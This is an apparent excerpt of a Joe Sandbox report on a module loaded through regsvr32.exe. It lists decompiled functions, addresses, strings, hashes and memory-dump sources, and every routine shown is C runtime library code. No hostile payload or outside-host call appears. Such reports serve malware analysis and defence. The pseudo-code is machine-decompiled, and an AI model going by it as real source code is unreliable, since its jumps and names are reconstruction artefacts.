				r8d = 6;
				_a872 = E000007FE7FEF9D3B530( &_a860,  &_a864, _a1088);
				_a848 =  &(_a848[1]);
				if (_a872 != 0) goto 0xf9d3cbe5;
				if (_a860 != 0) goto 0xf9d3cbf2;
				_a688 = 0xffffffff;
				goto 0xf9d3cc1b;
				E000007FE7FEF9D3CF60(_a860,  &(_a848[1]),  &_a864, _a1088,  &_a688);
				goto 0xf9d3cb60;
				goto 0xf9d3cc3b;
				E000007FE7FEF9D3CF60(_a104,  &(_a848[1]), _a64, _a1088,  &_a688);
				if (_a688 < 0) goto 0xf9d3cc6e;
				if ((_a80 & 0x00000004) == 0) goto 0xf9d3cc6e;
				E000007FE7FEF9D3CF10(0x20, _a840, _a1088,  &_a688);
				if (_a96 == 0) goto 0xf9d3cc8e;
				0xf9d25330();
				_a96 = 0;
				goto 0xf9d3b99c;
				if (_a704 == 0) goto 0xf9d3ccb4;
				if (_a704 == 7) goto 0xf9d3ccb4;
				_a1060 = 0;
				goto 0xf9d3ccbf;
				_a1060 = 1;
				_t252 = _a1060;
				_a876 = _t252;
				if (_a876 != 0) goto 0xf9d3cd05;
				_t354 = L"((state == ST_NORMAL) || (state == ST_TYPE))";
				_a32 = _t354;
				r9d = 0;
				r8d = 0x8f5;
				0xf9d2b3b0();
				if (_t252 != 1) goto 0xf9d3cd05;
				asm("int3");
				if (_a876 != 0) goto 0xf9d3cd61;
				0xf9d2ab30();
				 *_t354 = 0x16;
				_a32 = 0;
				r9d = 0x8f5;
				E000007FE7FEF9D2BD70(L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
				_a912 = 0xffffffff;
				E000007FE7FEF9D26800( &_a120);
				goto 0xf9d3cd80;
				_a916 = _a688;
				E000007FE7FEF9D26800( &_a120);
				return E000007FE7FEF9D23280(_a916, 2, 2, _a1064 ^ _t379, L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_64_amd64\\crt\\src\\output.c");
			}

0x7fef9d3c719
0x7fef9d3c719
0x7fef9d3c724
0x7fef9d3c737
0x7fef9d3c739
0x7fef9d3c748
0x7fef9d3c74c
0x7fef9d3c756
0x7fef9d3c769
0x7fef9d3c76f
0x7fef9d3c782
0x7fef9d3c78c
0x7fef9d3c791
0x7fef9d3c799
0x7fef9d3c7a9
0x7fef9d3c7b3
0x7fef9d3c7b8
0x7fef9d3c7c0
0x7fef9d3c7ce
0x7fef9d3c7d9
0x7fef9d3c7e8
0x7fef9d3c7ec
0x7fef9d3c7f4
0x7fef9d3c7fe
0x7fef9d3c806
0x7fef9d3c80e
0x7fef9d3c819
0x7fef9d3c823
0x7fef9d3c82a
0x7fef9d3c832
0x7fef9d3c83c
0x7fef9d3c843
0x7fef9d3c854
0x7fef9d3c85f
0x7fef9d3c86c
0x7fef9d3c878
0x7fef9d3c880
0x7fef9d3c882
0x7fef9d3c88a
0x7fef9d3c89d
0x7fef9d3c8aa
0x7fef9d3c8bf
0x7fef9d3c8cc
0x7fef9d3c8ce
0x7fef9d3c8d6
0x7fef9d3c8df
0x7fef9d3c8eb
0x7fef9d3c8ed
0x7fef9d3c8fe
0x7fef9d3c900
0x7fef9d3c910
0x7fef9d3c915
0x7fef9d3c91f
0x7fef9d3c925
0x7fef9d3c930
0x7fef9d3c93b
0x7fef9d3c95e
0x7fef9d3c96a
0x7fef9d3c997
0x7fef9d3c9a9
0x7fef9d3c9ab
0x7fef9d3c9bf
0x7fef9d3c9c9
0x7fef9d3c9ce
0x7fef9d3c9e0
0x7fef9d3c9ec
0x7fef9d3c9fc
0x7fef9d3ca03
0x7fef9d3ca10
0x7fef9d3ca1a
0x7fef9d3ca24
0x7fef9d3ca2d
0x7fef9d3ca36
0x7fef9d3ca45
0x7fef9d3ca52
0x7fef9d3ca54
0x7fef9d3ca59
0x7fef9d3ca61
0x7fef9d3ca6c
0x7fef9d3ca6e
0x7fef9d3ca73
0x7fef9d3ca7b
0x7fef9d3ca86
0x7fef9d3ca88
0x7fef9d3ca8d
0x7fef9d3caa5
0x7fef9d3cab5
0x7fef9d3cad0
0x7fef9d3caee
0x7fef9d3cafc
0x7fef9d3cb07
0x7fef9d3cb22
0x7fef9d3cb2c
0x7fef9d3cb37
0x7fef9d3cb3d
0x7fef9d3cb4d
0x7fef9d3cb59
0x7fef9d3cb70
0x7fef9d3cb79
0x7fef9d3cb8a
0x7fef9d3cb92
0x7fef9d3cb9b
0x7fef9d3cbb6
0x7fef9d3cbc9
0x7fef9d3cbd9
0x7fef9d3cbe3
0x7fef9d3cbe5
0x7fef9d3cbf0
0x7fef9d3cc11
0x7fef9d3cc16
0x7fef9d3cc1b
0x7fef9d3cc36
0x7fef9d3cc43
0x7fef9d3cc4e
0x7fef9d3cc69
0x7fef9d3cc74
0x7fef9d3cc80
0x7fef9d3cc85
0x7fef9d3cc8e
0x7fef9d3cc9b
0x7fef9d3cca5
0x7fef9d3cca7
0x7fef9d3ccb2
0x7fef9d3ccb4
0x7fef9d3ccbf
0x7fef9d3ccc6
0x7fef9d3ccd5
0x7fef9d3ccd7
0x7fef9d3ccde
0x7fef9d3cce3
0x7fef9d3cce6
0x7fef9d3ccf8
0x7fef9d3cd00
0x7fef9d3cd02
0x7fef9d3cd0d
0x7fef9d3cd0f
0x7fef9d3cd14
0x7fef9d3cd1a
0x7fef9d3cd23
0x7fef9d3cd3e
0x7fef9d3cd43
0x7fef9d3cd53
0x7fef9d3cd5f
0x7fef9d3cd68
0x7fef9d3cd74
0x7fef9d3cd97

APIs

get_int64_arg.LIBCMTD ref: 000007FEF9D3C78C

Strings

', xrefs: 000007FEF9D3C719
0, xrefs: 000007FEF9D3C739
9, xrefs: 000007FEF9D3C98F

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: get_int64_arg
String ID: '$0$9
API String ID: 1967237116-269856862
Opcode ID: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction ID: b3eda79bc04a60fb7ee4a4011f7c31915f3bf9e4e3688118cbdbb277fe6e384d
Opcode Fuzzy Hash: 83c439eea7fc9ce93bcb821b911d608e7d80de2d13083439c5735137d4fc31ad
Instruction Fuzzy Hash: 0D41B47260DAC187E7B58B19E8957AEB7E4F385791F100125EAC886B98DB7DE640CF00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D35260 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

_CreateFrameInfo.LIBCMTD ref: 000007FEF9D35342
_FindAndUnlinkFrame.LIBCMTD ref: 000007FEF9D353DC
_IsExceptionObjectToBeDestroyed.LIBCMTD ref: 000007FEF9D35433

Strings

csm, xrefs: 000007FEF9D353ED

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Frame$CreateDestroyedExceptionFindInfoObjectUnlink
String ID: csm
API String ID: 2005287440-1018135373
Opcode ID: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction ID: 0432dbe60f42fc154ce83aeddd16286c3d94edaaa77ff7db33c77853d76fe5a2
Opcode Fuzzy Hash: 4c556ceed80f2aba1954f9041ed191ad0fbab56fa1f8ad9f2457e70616e7d401
Instruction Fuzzy Hash: FB51A836608B8682DAA09B1AF49076E77E0F3C4B91F615125EBCD47BB5DF3AD444CB40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D28040 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

__initmbctable.LIBCMT ref: 000007FEF9D28056
GetModuleFileNameA.KERNEL32 ref: 000007FEF9D28071

Strings

C:\Windows\System32\regsvr32.exe, xrefs: 000007FEF9D28068, 000007FEF9D28077, 000007FEF9D280A9
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c, xrefs: 000007FEF9D2813C

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: FileModuleName__initmbctable
String ID: C:\Windows\System32\regsvr32.exe$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\stdargv.c
API String ID: 3548084100-1254873407
Opcode ID: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction ID: 40487cdd99e7390fc7cfa00da240fffb72a0e4e16c6d4a8cb9187a6270b67cf4
Opcode Fuzzy Hash: d38f4fd9cb9ecdd73cd32345429acc70b773e7a180fa8c1b1693dc69edd9f2e5
Instruction Fuzzy Hash: 09410C21A19A8281EA90CB19EC8136E77A0F7857A5F614626E6EE43BF4DF3ED144C701

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D328E8 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32A56

Strings

("Buffer too small", 0), xrefs: 000007FEF9D329F2, 000007FEF9D32A4F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D32A07, 000007FEF9D32A41
_vsnprintf_s_l, xrefs: 000007FEF9D32A48

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Buffer too small", 0)$_vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c
API String ID: 2123368286-3717698799
Opcode ID: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction ID: db9b60f6e9b20c9f37adeee518bf084cd0881f5c38580f5bd04c1ce4cfd39116
Opcode Fuzzy Hash: 65def78894184635a726d36e54dfff1a0241531dd31d36ef72262bf6a1fca492
Instruction Fuzzy Hash: 49412931E1C7868AEAB08B24E84476E62E0F385365F604335D6ED427E5CB3EE444CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D27816 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_calloc_dbg.LIBCMTD ref: 000007FEF9D27858

Part of subcall function 000007FEF9D24980: _calloc_dbg_impl.LIBCMTD ref: 000007FEF9D249C6

GetFileType.KERNEL32 ref: 000007FEF9D27A24
InitializeCriticalSectionAndSpinCount.KERNEL32 ref: 000007FEF9D27AA5

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c, xrefs: 000007FEF9D27841

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: CountCriticalFileInitializeSectionSpinType_calloc_dbg_calloc_dbg_impl
String ID: f:\dd\vctools\crt_bld\self_64_amd64\crt\src\ioinit.c
API String ID: 2306298712-3864165772
Opcode ID: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction ID: b637de57708ed2c7d115ffe7a667dd769ed1fe34c6e506efeb830bf347bff847
Opcode Fuzzy Hash: 6db4822cd77f1ed37bef3fea8eb09d36478b9c501087b185a6ab49f69a42b384
Instruction Fuzzy Hash: D8313D32609BC585E7B08B19E84076EB3E1F385764F618225CAED877E4DB3DE405CB11

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D37F0E Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3806E

Strings

bufferSize <= INT_MAX, xrefs: 000007FEF9D3800A, 000007FEF9D38067
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3801F, 000007FEF9D38059
_wcstombs_s_l, xrefs: 000007FEF9D38060

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_s_l$bufferSize <= INT_MAX$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c
API String ID: 2123368286-2562677240
Opcode ID: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction ID: c85490607768c44f9eb9442c12c0ad7794bb5914cb74fa2bef1d73063ee62390
Opcode Fuzzy Hash: dabd10d16ebe11174fc63b9f89b539a3b240949ad9ffb505f617c08bbd3ff20b
Instruction Fuzzy Hash: 67311632A0DB8685EAB09B15E8407AEB7E1F385390F204625D6DD43BE8DB7ED444CB02

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40680 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 69COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4071E

Part of subcall function 000007FEF9D3AFB0: _invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Part of subcall function 000007FEF9D40A20: __doserrno.LIBCMTD ref: 000007FEF9D40A33

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D406CF, 000007FEF9D40709
_fclose_nolock, xrefs: 000007FEF9D40710
(str != NULL), xrefs: 000007FEF9D406BA, 000007FEF9D40717

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter$__doserrno
String ID: (str != NULL)$_fclose_nolock$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c
API String ID: 1181141450-2845860089
Opcode ID: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction ID: a2d3a4357c877c10dbeba88c1570b3bcf2b7b0db3c51835aaf51b50bd6ce4727
Opcode Fuzzy Hash: 7bab6b588e6dd2839569b0ca5fa95970036134ebeeb6453b58b8f029525d0fe5
Instruction Fuzzy Hash: 25316D36A28A4286E7909B19E88476E77E0F380794F205125F6CE477F5CB7ED841CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AB10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 57COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3ABCD

Strings

(fh >= 0 && (unsigned)fh < (unsigned)_nhandle), xrefs: 000007FEF9D3AB69, 000007FEF9D3ABC6
_isatty, xrefs: 000007FEF9D3ABBF
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c, xrefs: 000007FEF9D3AB7E, 000007FEF9D3ABB8

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (fh >= 0 && (unsigned)fh < (unsigned)_nhandle)$_isatty$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isatty.c
API String ID: 2123368286-160817255
Opcode ID: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction ID: f81691e69628683e8e3df4f52d5e63bc79cedec177f2501b48199eede19b8a9f
Opcode Fuzzy Hash: 20bce409a33f2d52ae5b3246709d5cabe66b407105c41d1953a7685d10f1773e
Instruction Fuzzy Hash: 7E218E71B2D6428AE7D89B24EC8476DB3E1F390395F609635E1DE476E4D77ED4018B00

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D40580 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 54COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D4061E

Strings

(stream != NULL), xrefs: 000007FEF9D405BA, 000007FEF9D40617
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c, xrefs: 000007FEF9D405CF, 000007FEF9D40609
fclose, xrefs: 000007FEF9D40610

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: (stream != NULL)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fclose.c$fclose
API String ID: 2123368286-3409824857
Opcode ID: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction ID: aea6e50ad225ee654e5ba897f2371f9ab8692fab447ee5272478533351973a17
Opcode Fuzzy Hash: b4902cc461c388e31b4dcd0307079e4da2555ab755984697fa072277fbec1f80
Instruction Fuzzy Hash: 69214C72A2D64286EB909F58E84476EB7E0F380394F605125E6CE47AE4CBBED444CF42

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D2C170 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 51COMMONLIBRARYCODE

Download Yara Rule

APIs

_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 000007FEF9D2C20A

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c, xrefs: 000007FEF9D2C1B3
(unsigned)(c + 1) <= 256, xrefs: 000007FEF9D2C19E

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: Locale$UpdateUpdate::~_
String ID: (unsigned)(c + 1) <= 256$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\isctype.c
API String ID: 1901436342-3621827421
Opcode ID: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction ID: b6da7cfe51097e189ae1413993ad3b1820e6f9d9ec5e09c8ec6feaf0c9b902cc
Opcode Fuzzy Hash: 582f87e7669c1111abee6c616077222c15a1b9b573b43815cbd7bd4630f6c99c
Instruction Fuzzy Hash: 6D210132918A8186E790DB64E8516AEB7E0F7C4780F614122E7CD83AB9DB7DD954CF40

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32C9F Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 48COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D32D62

Strings

_set_error_mode, xrefs: 000007FEF9D32D54
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c, xrefs: 000007FEF9D32D13, 000007FEF9D32D4D
("Invalid error_mode", 0), xrefs: 000007FEF9D32CFE, 000007FEF9D32D5B

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: ("Invalid error_mode", 0)$_set_error_mode$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\errmode.c
API String ID: 2123368286-2972513288
Opcode ID: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction ID: 6381d33894c21e9a570bb340808ef8ba759c91e84b1c9252353dd9e19991e7ba
Opcode Fuzzy Hash: f8745b700fb78b44b2e658b57c518d69726f466f5def5af1cc34e5c73236fe3e
Instruction Fuzzy Hash: 64211A31E1D242CAE7E08F28EC44B6E72E1F344395F605536A6CA866B4D77EE944CB41

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D32695 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3274D

Strings

f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c, xrefs: 000007FEF9D326FE, 000007FEF9D32738
_vsnprintf_s_l, xrefs: 000007FEF9D3273F
string != NULL && sizeInBytes > 0, xrefs: 000007FEF9D326E9, 000007FEF9D32746

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _vsnprintf_s_l$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\vsprintf.c$string != NULL && sizeInBytes > 0
API String ID: 2123368286-367560414
Opcode ID: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction ID: a1605579a08129191013953cda15cb2ece86ed32ec4905bca1088ce11b277eda
Opcode Fuzzy Hash: b10b6c40919f833f94f1f9af6a6d465dd1a232ebc9f5396bdae7492d99103452
Instruction Fuzzy Hash: EB114931E0C64A89F7E08B14EC457BE62E0F750385F608525D2DD46AF9CBBEE4888F01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D375E9 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 40COMMON

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3769D

Strings

pwcs != NULL, xrefs: 000007FEF9D37636, 000007FEF9D37696
_wcstombs_l_helper, xrefs: 000007FEF9D3768F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c, xrefs: 000007FEF9D3764B, 000007FEF9D37688

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914682301.000007FEF9D4B000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914686597.000007FEF9D4F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _invalid_parameter
String ID: _wcstombs_l_helper$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\wcstombs.c$pwcs != NULL
API String ID: 2123368286-2992382544
Opcode ID: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction ID: 6b038216fd5801b421c61b74e1935d340daef546a177eff3ea16a7a1b838ed42
Opcode Fuzzy Hash: 4e01e6c780b0bcb150885d639f6c4af62c750d2377cec983ef0e9e7992ea6864
Instruction Fuzzy Hash: EE112831A08A86D5E7F08B24EC547BE62D0F388355FA0862581DD826E5CF7ED184CB01

Uniqueness

Uniqueness Score: -1.00%

Function 000007FEF9D3AFB0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 38COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter.LIBCMTD ref: 000007FEF9D3B046

Strings

(stream != NULL), xrefs: 000007FEF9D3AFE2, 000007FEF9D3B03F
f:\dd\vctools\crt_bld\self_64_amd64\crt\src\fileno.c, xrefs: 000007FEF9D3AFF7, 000007FEF9D3B031
_fileno, xrefs: 000007FEF9D3B038

Memory Dump Source

Source File: 00000003.00000002.914647575.000007FEF9D21000.00000020.00000001.01000000.00000005.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.914644527.000007FEF9D20000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.914674524.000007FEF9D42000.00000002.00000001.01000000.00000005.sdmpDownload File
